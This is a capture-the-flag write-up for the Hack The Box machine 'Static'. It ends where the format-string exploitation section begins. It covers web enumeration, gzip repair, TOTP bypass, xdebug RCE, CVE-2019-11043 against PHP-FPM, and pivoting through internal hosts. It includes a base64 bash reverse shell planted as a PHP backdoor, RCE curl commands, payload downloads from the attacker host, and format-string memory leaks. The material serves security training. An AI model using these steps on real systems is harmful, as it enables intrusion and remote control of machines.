Static
27 minutes to read
- OS: Linux
- Difficulty: Hard
- IP Address: 10.10.10.246
- Release: 19 / 06 / 2021
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -Pn -o nmap/targeted 10.10.10.246 -p 22,2222,8080
Nmap scan report for 10.10.10.246
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 16:bb:a0:a1:20:b7:82:4d:d2:9f:35:52:f4:2e:6c:90 (RSA)
| 256 ca:ad:63:8f:30:ee:66:b1:37:9d:c5:eb:4d:44:d9:2b (ECDSA)
|_ 256 2d:43:bc:4e:b3:33:c9:82:4e:de:b6:5e:10:ca:a7:c5 (ED25519)
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:a4:5c:e3:a9:05:54:b1:1c:ae:1b:b7:61:ac:76:d6 (RSA)
| 256 c9:58:53:93:b3:90:9e:a0:08:aa:48:be:5e:c4:0a:94 (ECDSA)
|_ 256 c7:07:2b:07:43:4f:ab:c8:da:57:7f:ea:b5:50:21:bd (ED25519)
8080/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 2 disallowed entries
|_/vpn/ /.ftp_uploads/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 27.37 seconds
This machine has ports 22, 2222 (SSH) and 8080 (HTTP) open.
Enumeration
If we go to http://10.10.10.246
using a web browser, we will see an empty page. Looking at the nmap
output, we discover that there is a robots.txt
file exposed:
$ curl 10.10.10.246:8080/robots.txt
User-agent: *
Disallow: /vpn/
Disallow: /.ftp_uploads/
And thus we have two routes to test. The page http://10.10.10.246/vpn
shows a simple login form like this one:
Since it is a simple form, we can try some simple credentials. After several attempts, we find that admin:admin
works. However, we have to enter a 2FA (Two Factor Authentication) code:
Let’s leave this for the moment and explore http://10.10.10.246/.ftp_uploads
. As it can be seen, directory listing is enabled:
The file called warning.txt
says the following:
$ curl 10.10.10.246:8080/.ftp_uploads/warning.txt
Binary files are being corrupted during transfer!!! Check if are recoverable.
Let’s check if it is true. If we download the file db.sql.gz
and extract the db.sql
file from inside, we will get an error:
$ 7z x db.sql.gz
7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs LE)
Scanning the drive for archives:
1 file, 262 bytes (1 KiB)
Extracting archive: db.sql.gz
--
Path = db.sql.gz
Type = gzip
Headers Size = 17
ERROR: CRC Failed : db.sql
Sub items Errors: 1
Archives with Errors: 1
Sub items Errors: 1
However, 7z
is able to extract the db.sql
file. Nevertheless, it is malformed:
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsignint a'n a)Co3 Nto_increment,sers name varchar(20) a'n a)Co, password varchar(40) a'n a)Co, totp varchar(16) a'n a)Co, primary key (idS iaA;
INSERT INTOrs ( id smaers name vpassword vtotp vaS iayALUESsma, prim'admin'im'd05nade22ae348aeb5660fc2140aec35850c4da997m'd0orxxi4c7orxwwzlo'
IN
Therefore, the warning is true. We need to think about how the Gzip file was corrupted.
Patching a Gzip file
Since the directory is called .ftp_uploads
, maybe the Gzip file was uplaoded using FTP but in ASCII mode and not in binary mode. We discover this issue doing some research on the Internet.
What happens is that FTP in ASCII mode will change new line characters (\n
) to carriage return and new line (\r\n
), modifying the file and corrupting it (if it were a text file, no visual changes would be done). The patch is easy: we only need to find \r\n
inside the file and replace the matching occurrences with \n
.
If we show the content of the corrupted Gzip file in hexadecimal, we see that there are four occurences of \r\n
(in hexadecimal ASCII, \r
corresponds to 0x0d
and \n
to 0x0a
):
$ xxd db.sql.gz
00000000: 1f8b 0808 ae8b eb5e 0003 6462 2e73 716c .......^..db.sql
00000010: 0055 8ec1 6ec2 3010 44ef f98a bd25 9138 .U..n.0.D....%.8
00000020: 84c4 0920 4e86 fa80 84a8 4442 afd5 d676 ... N.....DB...v
00000030: 8bd5 d846 b6d3 40bf be69 a902 9c76 a479 ...F..@..i...v.y
00000040: 333b eb3d a30d 8327 dad0 15ad 19f8 8041 3;.=...'.......A
00000050: f165 74b8 d3eb 2b33 105b 069d 97ce 4302 .et...+3.[....C.
00000060: 4a80 d7d8 b6ca 04e8 8c57 1f46 0d0a 3036 J........W.F..06
00000070: 80e9 da16 b00b f655 19ee a496 264c fe52 .......U....&L.R
00000080: 06b5 842f 74fc 882e c9b3 74a4 2770 42ef .../t.....t.'pB.
00000090: 7beb c468 9307 3bd8 701a ad69 f590 744a {..h..;.p..i..tJ
000000a0: a3bb c0a7 bc40 a244 0d0a e912 a2cd ae66 .....@.D.......f
000000b0: fb06 36bb e6f9 6eef 6dc5 ede1 7f77 0d0a ..6...n.m....w..
000000c0: 2f74 7b60 f5c0 5d6b 6314 5a99 7810 222b /t{`..]kc.Z.x."+
000000d0: 0d0a 99e7 280b 3247 f956 5655 f6ce f329 ....(.2G.VVU...)
000000e0: c950 f2a2 9c97 1927 0217 8bd9 2f6b ddf9 .P.....'..../k..
000000f0: ac08 9f0d b7ef bf5b 1b0f 6ba2 e807 eaf0 .......[..k.....
00000100: 78b0 6301 0000 x.c...
$ xxd db.sql.gz | grep -o 0d0a
0d0a
0d0a
0d0a
0d0a
To patch the Gzip file, I decided to use a simple Ruby script that downloads the file, takes the contents, replaces every occurrence of \r\n
by \n
and outputs it to a file. Then we can decompress the patched file without errors. This can be done in the same Ruby script with a few lines:
#!/usr/bin/env ruby
require 'uri'
require 'zlib'
require 'net/http'
sql_file = 'db.sql'
gz_file = "#{sql_file}.gz"
tmp = "tmp_#{gz_file}"
host = '10.10.10.246:8080'
puts "[*] Downloading corrupted #{gz_file} file"
url = URI("http://#{host}/.ftp_uploads/#{gz_file}")
res = Net::HTTP.get(url)
File.binwrite(gz_file, res)
File.open(gz_file, 'rb') { |f| File.binwrite(tmp, f.read.gsub("\r\n", "\n")) }
Zlib::GzipReader.open(tmp) do |f|
sql = f.read.strip
puts "[+] Patched #{gz_file} file. Found #{sql_file}:\n\n#{sql}"
File.open(sql_file, 'w') { |ff| ff.write(sql) }
end
Now we execute the script and get the db.sql
file as is:
$ ruby patch_gz.rb
[*] Downloading corrupted db.sql.gz file
[+] Patched db.sql.gz file. Found db.sql:
CREATE DATABASE static;
USE static;
CREATE TABLE users ( id smallint unsigned not null auto_increment, username varchar(20) not null, password varchar(40) not null, totp varchar(16) not null, primary key (id) );
INSERT INTO users ( id, username, password, totp ) VALUES ( null, 'admin', 'd033e22ae348aeb5660fc2140aec35850c4da997', 'orxxi4c7orxwwzlo' );
This SQL file creates a table called users
with fields id
, username
, password
and totp
. And then a new user is inserted with name admin
. Though the password is a hash, if we crack it we will get admin
(something that we already know). The other value is orxxi4c7orxwwzlo
for totp
.
Handling 2FA
This value for totp
corresponds to the key used for the TOTP (Time-based One-Time Password) algorithm. The TOTP algorithm is implemented in Python and Ruby libraries (among others); there are also apps like Google Authenticator or online solutions.
Since I decided to use Ruby this time, let’s do this TOTP stuff with Ruby. First, we must install rotp
with gem install rotp
. And then, from irb
(interactive Ruby) we can get the code:
$ irb
irb(main):001:0> require 'rotp'
=> true
irb(main):002:0> totp = ROTP::TOTP.new('orxxi4c7orxwwzlo')
=> #<ROTP::TOTP:0x0000000147827380 @digest="sha1", @digits=6, @interval=30, @issuer=nil, @secret="orxxi4c7orxwwzlo">
irb(main):003:0> totp.now
=> "309130"
irb(main):004:0> totp.now
=> "860691"
Unfortunately, these codes do not work. I tried other solutions, but the codes were the same, so the problem was not in Ruby.
Then, I figured out that since it is a Time-based OTP, I needed to have the same date as the machine. One can get the server’s current date in the HTTP response headers if it is enabled. For example:
$ curl 10.10.10.246:8080 -I
HTTP/1.1 200 OK
Date: Fri, 10 Dec 2021 22:22:22 GMT
Server: Apache/2.4.38 (Debian)
Content-Type: text/html; charset=UTF-8
Then, we can add this date to the Ruby command and get a valid TOTP:
irb(main):005:0> require 'time'
=> true
irb(main):006:0> date = Time.parse('Fri, 10 Dec 2021 22:22:22 GMT').to_i
=> 1639174942
irb(main):007:0> totp.at(date)
=> "626733"
During the attempts, I tried to add the TOTP calculation and the login process (using admin:admin
) in the Ruby script to check if it was a timing issue. As a result, I had the login process programmed, and when I found the issue, I did have a working script to login as admin
with these lines of code:
require 'rotp'
require 'time'
require 'uri'
require 'net/http'
host = '10.10.10.246:8080'
totp = 'orxxi4c7orxwwzlo'
url = URI("http://#{host}/vpn/login.php")
res = Net::HTTP.post(url, 'username=admin&password=admin&submit=Login')
cookie = res['Set-Cookie']
server_time = Time.parse(res['Date']).to_i
puts '[+] Login successful'
code = ROTP::TOTP.new(totp).at(server_time)
puts "[*] Generating TOTP code: #{code}"
res = Net::HTTP.post(url, "code=#{code}", { Cookie: cookie })
location = res['Location']
puts "[+] 2FA successful. Go to http://#{host}/vpn/#{location}"
puts "[+] Cookie: #{cookie}"
The script returns the URL where to go (since the server applies a redirection) and the cookie to keep authenticated:
$ ruby login_2fa.rb
[+] Login successful
[*] Generating TOTP code: 508175
[+] 2FA successful. Go to http://10.10.10.246:8080/vpn/panel.php
[+] Cookie: PHPSESSID=1l5prlovq3bek3488ehmi03koj; path=/
Foothold
We can see a panel like this:
Here we can download a VPN as an .ovpn
file (like the one used to connect to Hack The Box machines). We also see that there are some machines that should be accessible using the VPN.
Just to complete the Ruby script, I decided to put everything together. As a result, the script downloads and patches the Gzip file, extracts the TOTP key from the SQL contents, does the login and 2FA and finally downloads the VPN file as static.ovpn
. This script is called get_vpn.rb
(detailed explanation here).
Connection to Static VPN
If we simply run openvpn static.ovpn
, we will see some errors. The problem is that the file contains a subdomain called vpn.static.htb
:
$ head static.ovpn
client
dev tun9
proto udp
remote vpn.static.htb 1194
resolv-retry infinite
nobind
user nobody
group nogroup
persist-key
persist-tun
Thus, we need to add the subdomain to /etc/hosts
. After that, the VPN connection works properly and we are assigned IP address 172.30.0.9
.
However, we do have no connection to the online IP address listed in the previous portal. We can fix this adding routes manually:
# route add -net 172.20.0.0 172.30.0.1 255.255.255.0
add net 172.20.0.0: gateway 172.30.0.1
# ping -c 1 172.20.0.10
PING 172.20.0.10 (172.20.0.10): 56 data bytes
64 bytes from 172.20.0.10: icmp_seq=0 ttl=63 time=49.962 ms
--- 172.20.0.10 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 49.962/49.962/49.962/0.000 ms
# ping -c 1 172.20.0.11
PING 172.20.0.11 (172.20.0.11): 56 data bytes
64 bytes from 172.20.0.11: icmp_seq=0 ttl=63 time=43.332 ms
--- 172.20.0.11 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 43.332/43.332/43.332/0.000 ms
Exploiting an internal server
After a simple nmap
scan for 172.20.0.10
, we see that it is a web server:
# nmap -sS -p- -Pn -n 172.20.0.10
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 172.20.0.10
Host is up (0.059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 57.40 seconds
This server shows the following directory listing:
The directory vpn
is the same as before, so it is not interesting.
The file info.php
shows a common phpinfo()
with all the PHP configuration. After reading all the information, we discover that xdebug
is enabled:
This is a problem because we can connect to the server for “debugging” reasons and gain Remote Code Execution (RCE). Looking for exploits, we can find this one made in Python version 2. This exploit works and returns an interactive command shell.
I decided to translate it to Python version 3 and fix it in order to obtain a common reverse shell with nc
. The resulting exploit can be found here: xdebug_shell.py
(detailed explanation here).
We can use the exploit to gain access to the internal web server (remember to use the Static VPN IP address and not the Hack The Box one):
$ python3 xdebug_shell.py http://172.20.0.10/info.php 172.30.0.9 4444
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.30.0.1.
Ncat: Connection from 172.30.0.1:52634.
bash: cannot set terminal process group (37): Inappropriate ioctl for device
bash: no job control in this shell
www-data@web:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@web:/var/www/html$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@web:/var/www/html$ export TERM=xterm
www-data@web:/var/www/html$ export SHELL=bash
www-data@web:/var/www/html$ stty rows 50 columns 158
Here we can find user.txt
flag:
www-data@web:/var/www/html$ ls -la
total 16
drwxr-xr-x 3 root root 4096 Apr 6 2020 .
drwxr-xr-x 3 root root 4096 Jun 14 2021 ..
-rw-r--r-- 1 root root 19 Apr 3 2020 info.php
drwxr-xr-x 3 root root 4096 Jun 17 2020 vpn
www-data@web:/var/www/html$ ls /home
user.txt www-data
www-data@web:/var/www/html$ cat /home/user.txt
c3f343befcac5fa92fb5373456e94247
Moreover, we have an id_rsa
for user www-data
:
www-data@web:/var/www/html$ ls -la /home/www-data
total 16
drwxr-x--- 4 www-data www-data 4096 Jun 14 2021 .
drwxr-xr-x 3 root root 4096 Jun 14 2021 ..
lrwxrwxrwx 1 root root 9 Jun 14 2021 .bash_history -> /dev/null
drwx------ 2 www-data www-data 4096 Jun 14 2021 .cache
drwx------ 2 www-data www-data 4096 Jun 14 2021 .ssh
www-data@web:/var/www/html$ ls -la /home/www-data/.ssh
total 20
drwx------ 2 www-data www-data 4096 Jun 14 2021 .
drwxr-x--- 4 www-data www-data 4096 Jun 14 2021 ..
-rw-r--r-- 1 www-data www-data 390 Jun 14 2021 authorized_keys
-rw------- 1 www-data www-data 1675 Jun 14 2021 id_rsa
-rw-r--r-- 1 www-data www-data 390 Jun 14 2021 id_rsa.pub
Then, we can copy or transfer the id_rsa
file and connect via SSH. We can access through IP address 172.20.0.10:
$ ssh -i id_rsa www-data@172.20.0.10
www-data@web:~$
But also through IP address 10.10.10.246 and port 2222 (recall that there were two SSH services running):
$ ssh -i id_rsa www-data@10.10.10.246 -p 2222
www-data@web:~$
Network enumeration
Let’s see what network interfaces we have:
www-data@web:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.20.0.10 netmask 255.255.255.0 broadcast 172.20.0.255
ether 02:42:ac:14:00:0a txqueuelen 0 (Ethernet)
RX packets 286733 bytes 62939217 (62.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 284115 bytes 109282923 (109.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.254.2 netmask 255.255.255.0 broadcast 192.168.254.255
ether 02:42:c0:a8:fe:02 txqueuelen 0 (Ethernet)
RX packets 16555 bytes 3910920 (3.9 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 23781 bytes 10145337 (10.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 576 bytes 38947 (38.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 576 bytes 38947 (38.9 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
So we have the following network setup:
We can connect to the pki
, which has IP address 192.168.254.3
. To perform a port scan we can use nmap
and proxychains
after configuring SSH dynamic port forwarding:
$ ssh -fND 9050 -i id_rsa www-data@10.10.10.246 -p 2222
# proxychains4 -q nmap -sS -p- -vvv -Pn -n 192.168.254.3
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org )
Initiating SYN Stealth Scan
Scanning 192.168.254.3 [65535 ports]
SYN Stealth Scan Timing: About 0.30% done
Stats: 0:01:43 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.39% done
Stats: 0:02:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.50% done
^C
The idea was nice, but the port scan took ages and nmap
with proxychains
does not work well sometimes (it might report false positives or not report open ports).
Let’s use a simple Bash script and execute it from the web
machine to get less latency:
#!/usr/bin/env bash
for p in `seq 1 65535`; do
echo -ne "Trying $p\r"
timeout 1 echo 2>/dev/null > /dev/tcp/192.168.254.3/$p && echo "Port: $p OPEN" &
done; wait
We can transfer the script using a Python web server and wget
, since the machine does not have vim
or nano
.
www-data@web:~$ cd /tmp
www-data@web:/tmp$ wget 172.30.0.9/port_scan.sh
www-data@web:/tmp$ bash port_scan.sh
Port: 80 OPEN
In less than 5 minutes we have all the results. Only port 80 (HTTP) is open on pki
, which will appear after a few seconds as a result of the scan.
Let’s do a local port forwarding using SSH (use ENTER
+ ~C
to exit temporarily from the current SSH session and get the ssh>
prompt):
www-data@web:/tmp$
ssh> -L 8080:192.168.254.3:80
Forwarding port.
www-data@web:/tmp$
We have the following HTTP response from pki
:
$ curl 127.0.0.1:8080 -i
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 11 Jan 2023 00:04:20 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP-FPM/7.1
batch mode: /usr/bin/ersatool create|print|revoke CN
The response is weird because it is showing like a “help panel” from a binary file called ersatool
. Let’s apply some fuzzing and discover more routes:
$ ffuf -w $WORDLISTS/dirb/common.txt -u http://127.0.0.1:8080/FUZZ
[Status: 200, Size: 53, Words: 5, Lines: 2, Duration: 164ms]
index.php [Status: 200, Size: 53, Words: 5, Lines: 2, Duration: 48ms]
uploads [Status: 301, Size: 194, Words: 7, Lines: 8, Duration: 112ms]
There is an /uploads
folder, but directory listing is disabled.
Exploiting another internal server
From the HTTP response headers shown before, we get that the server is running PHP-FPM/7.1. There is an exploit for this technology, show-cased here (CVE-2019-11043).
The exploit consists of a Go project that exposes a web-shell on the victim. Let’s build the project:
$ git clone https://github.com/neex/phuip-fpizdam
$ cd phuip-fpizdam
$ go build --ldflags='-s -w' .
go: downloading github.com/spf13/cobra v0.0.5
go: downloading github.com/spf13/pflag v1.0.3
$ upx phuip-fpizdam
After reading the basic information about the exploit, we can execute it like this:
$ ./phuip-fpizdam http://127.0.0.1:8080/index.php
Base status code is 200
Status code 502 for qsl=1765, adding as a candidate
The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
Attack params found: --qsl 1755 --pisos 38 --skip-detect
Trying to set "session.auto_start=0"...
Detect() returned attack params: --qsl 1755 --pisos 38 --skip-detect <-- REMEMBER THIS
Performing attack using php.ini settings...
Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
Trying to cleanup /tmp/a...
Done!
And as it says in the output, we have now a query parameter where to put our system commands:
$ curl "127.0.0.1:8080/index.php?a=/bin/sh+-c+'which+which'&"
/usr/bin/which
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in <b>/var/www/html/index.php</b> on line <b>2</b><br
/>
batch mode: /usr/bin/ersatool create|print|revoke CN
One thing to notice is that the command does not always work. We need to send the request around three or four times to execute the command.
Using this RCE, we can make some basic enumeration of the system:
$ curl "127.0.0.1:8080/index.php?a=/bin/sh+-c+'whoami'&"
www-data
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in <b>/var/www/html/index.php</b> on line <b>2</b><br
/>
batch mode: /usr/bin/ersatool create|print|revoke CN
$ curl "127.0.0.1:8080/index.php?a=/bin/sh+-c+'ls+-la'&"
total 16
drwxr-xr-x 3 root root 4096 Apr 4 2020 .
drwxr-xr-x 3 root root 4096 Mar 27 2020 ..
-rw-r--r-- 1 root root 174 Apr 4 2020 index.php
drwxr-xr-x 2 www-data www-data 4096 Mar 27 2020 uploads
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in <b>/var/www/html/index.php</b> on line <b>2</b><br />
batch mode: /usr/bin/ersatool create|print|revoke CN
However, it will be more useful to have a proper command shell. For this, I decided to add a PHP file into /uploads
with a system command that sends a reverse shell.
Notice that pki
does not have connectivity to the attacker machine. Hence, the reverse shell will be sent to web
(192.168.254.2
). Once in web
, the traffic will be redirected to the attacker machine (172.30.0.9
) using port forwarding with chisel
.
$ echo -n 'bash -i >& /dev/tcp/192.168.254.2/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNTQuMi80NDQ0ICAwPiYx
The PHP file will be called b4ckd0or.php
and will have this content:
<?php system("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNTQuMi80NDQ0ICAwPiYx|base64 -d|bash"); ?>
Basic enumeration tells us that there is no nc
, curl
or wget
. The best way to write a file is using echo
and redirecting output. Take care about URL encoding as well:
$ curl "127.0.0.1:8080/index.php?a=echo+'<?php+system(\"echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNTQuMi80NDQ0ICAwPiYx|base64+-d|bash\");+?>'+>+uploads/b4ckd0or.php;echo+asdf&"
asdf
Warning: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in /var/www/html/index.php on line 2
batch mode: /usr/bin/ersatool create|print|revoke CN
Notice how I added echo asdf
to know when the command was actually executed (remember that until the third or fourth attempt, the command does not work).
Now we need to transfer chisel
to the web
machine (using a Python HTTP server from the attacker machine):
www-data@web:/tmp$ wget -q 172.30.0.9/chisel
www-data@web:/tmp$ mv chisel .chisel
www-data@web:/tmp$ chmod +x .chisel
The web
machine will be the server, listening on port 1337:
www-data@web:/tmp$ ./.chisel server -p 1337 --reverse
server: Reverse tunnelling enabled
server: Fingerprint hQIxqO8XgdRQ0l9fMNAkw3PmdG9Flu7YvQeJtgZ9o2E=
server: Listening on http://0.0.0.0:1337
The attacker machine will connect to the server (172.20.0.10:1337
) and tell them to forward everything that arrives at 192.168.254.2:4444
(web
machine) to port 4444 (attacker machine):
$ ./chisel client 172.20.0.10:1337 R:192.168.254.2:4444:0.0.0.0:4444
client: Connecting to ws://172.20.0.10:1337
client: Connected (Latency 82.064375ms)
The output of the server will clarify the connection:
www-data@web:/tmp$ ./.chisel server -p 1337 --reverse
server: Reverse tunnelling enabled
server: Fingerprint hQIxqO8XgdRQ0l9fMNAkw3PmdG9Flu7YvQeJtgZ9o2E=
server: Listening on http://0.0.0.0:1337
server: session#1: tun: proxy#R:192.168.254.2:4444=>0.0.0.0:4444: Listening
Now we can request the /uploads/b4ckd0or.php
file we created and gain a proper reverse shell on the pki
machine:
$ curl 127.0.0.1:8080/uploads/b4ckd0or.php
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:59809.
bash: cannot set terminal process group (11): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pki:~/html/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@pki:~/html/uploads$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@pki:~/html/uploads$ export TERM=xterm
www-data@pki:~/html/uploads$ export SHELL=bash
www-data@pki:~/html/uploads$ stty rows 50 columns 158
Privilege escalation
We are www-data
user. This pki
machine is a Docker container (because it contains a .dockerenv
and has only a few commands):
www-data@pki:~/html/uploads$ ls -a /
. .. .dockerenv bin boot dev entry.sh etc home lib lib64 media mnt opt php-src proc root run sbin srv sys tmp usr var
If we enumerate system capabilities, we see that the ersatool
binary has cap_setuid+eip
:
www-data@pki:~/html/uploads$ getcap -r / 2>/dev/null
/usr/bin/ersatool = cap_setuid+eip
This means that in some points of the program the binary is allowed to perform elevated actions (as root
). Let’s check if there are more files related to this binary:
www-data@pki:~/html/uploads$ find / -name \*ersatool\* 2>/dev/null
/usr/src/ersatool.c
/usr/bin/ersatool
And we have the source code. This is nice to have because we can omit some reverse engineering tasks.
Finding a Format String vulnerability
The binary is used to generate the VPN for the users. Maybe it needs to run as root
during some tasks to read private keys, for example.
After having a look at the source code, we discover a Format String vulnerability:
void printCN(char *cn, int i) {
char fn[100];
char buffer[100];
if (i == 1) {
printf("print->CN=");
fflush(stdout);
memset(buffer, 0, sizeof(buffer));
read(0, buffer, sizeof(buffer));
} else {
memset(buffer, 0, sizeof(buffer));
strncat(buffer, cn, sizeof(buffer));
}
if (!strncmp("\n", buffer, 1)) { return; }
do {
strncpy(fn, OUTPUT_DIR, sizeof(fn));
strncat(fn, "/", sizeof(fn) - strlen(fn));
strncat(fn, strtok(basename(buffer), "\n"), sizeof(fn) - strlen(fn));
strncat(fn, EXT, sizeof(fn) - strlen(fn));
printf(buffer); //checking buffer content
filePrint(fn);
if (i == 1) {
printf("\nprint->CN=");
fflush(stdout);
memset(buffer,0,sizeof(buffer));
read(0,buffer,sizeof(buffer));
}
} while (strncmp("\n", buffer, 1) && i == 1);
}
Can you see it? This is the vulnerable line:
printf(buffer); //checking buffer content
The variable buffer
comes from direct user input, so we have control over the variable.
Format String vulnerabilities are really dangerous because we can read arbitrary data from the memory and even write and modify data from the memory to gain RCE.
Function printf
uses format strings using special characters to print different type of data. For example:
printf("%d\n", 1337); // Prints: 1337
printf("%s\n", "7Rocky"); // Prints: 7Rocky
printf("%x\n", 0xACDC); // Prints: acdc
The %n
format string writes the number of bytes written until its occurrence in the address given as argument preceding the format strings.
The issue is having control over the format string, because we can do the following:
www-data@pki:~/html/uploads$ ersatool
batch mode: /usr/bin/ersatool create|print|revoke CN
www-data@pki:~/html/uploads$ ersatool print %x
ff35015f[!] ERR reading /opt/easyrsa/clients/%x.ovpn!
www-data@pki:~/html/uploads$ ersatool
# print
print->CN=%x
ffe4827f[!] ERR reading /opt/easyrsa/clients/%x.ovpn!
^C
The values ff35015f
and ffe4827f
are just values from the stack, we are leaking memory data.
Notice that the program can be used in interactive mode.
We can fuzz a little more using Python and check where the AAAA
before the format strings are:
www-data@pki:~/html/uploads$ ersatool print $(python3 -c 'print("AAAA" + "%x." * 100)')
AAAAf7b2915f.ab89b864.f7b2915f.0.78252e78.da4b5a98.ab89be4d.41414141.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.ab89b830.74706f2f.61737279.73746e65.2e782541.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.[!] ERR reading /opt/easyrsa/clients/AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.!
As showm, 41414141
(AAAA
in hexadecimal ASCII values) is on the eighth position (offset 8
). This will be important for the exploitation process.
Network setup for exploitation
First, we will need to setup the network environment to have bidirectional connectivity between pki
and the attacker machine.
One way is already setup:
pki => 192.168.254.2:4444 (web) => 172.30.0.9:4444 (attacker)
The other way will be this:
attacker => 127.0.0.1:1234 => (web) => 192.168.254.3:1234 (pki)
These will be the resulting connections:
For this purpose, we can use SSH port forwarding as before (ENTER
+ ~C
):
www-data@web:/tmp$
ssh> -L 1234:192.168.254.3:1234
Forwarding port.
www-data@web:/tmp$
Now we can easily transfer ersatool
and ersatool.c
to the attacker machine using Python (fortunately, pki
has python3
installed):
www-data@pki:~/html/uploads$ cd /
www-data@pki:~/$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
$ wget -q 127.0.0.1:1234/usr/bin/ersatool
$ wget -q 127.0.0.1:1234/usr/src/ersatool.c
To build the exploit, we will also need the Glibc library:
www-data@pki:/$ ldd /usr/bin/ersatool
linux-vdso.so.1 (0x00007fff7f1f4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9381921000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9381d12000)
$ wget -q 127.0.0.1:1234/lib/x86_64-linux-gnu/libc.so.6
Finally, since it is a command line program, we will need to use socat
in order to redirect our payloads that come from a TCP connection to the running binary.
We can transfer socat
from the attacker machine to pki
using this Python code:
from urllib.request import urlopen
f = open('./socat', 'wb')
f.write(urlopen('http://192.168.254.2:4444/socat').read())
f.close()
The attacker machine will have a HTTP web server on port 4444 (remember the connection setup):
$ python3 -m http.server 4444
Serving HTTP on :: port 4444 (http://[::]:4444/) ...
The Python code for pki
in a “one-liner” is like this:
www-data@pki:/$ cd /tmp
www-data@pki:/tmp$ python3 -c 'from urllib.request import urlopen; f = open("./socat", "wb"); f.write(urlopen("http://192.168.254.2:4444/socat").read()); f.close()'
www-data@pki:/tmp$ file socat
socat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Now we can launch socat
and start working from the attacker machine from 127.0.0.1:1234
:
www-data@pki:/tmp$ chmod +x socat
www-data@pki:/tmp$ ./socat tcp-l:1234,reuseaddr,fork EXEC:/usr/bin/ersatool
$ nc 127.0.0.1 1234
# print
print->CN=%x
f7410e5f[!] ERR reading /opt/easyrsa/clients/%x.ovpn!
Format String exploitation
This is the basic information about the binary:
$ file ersatool
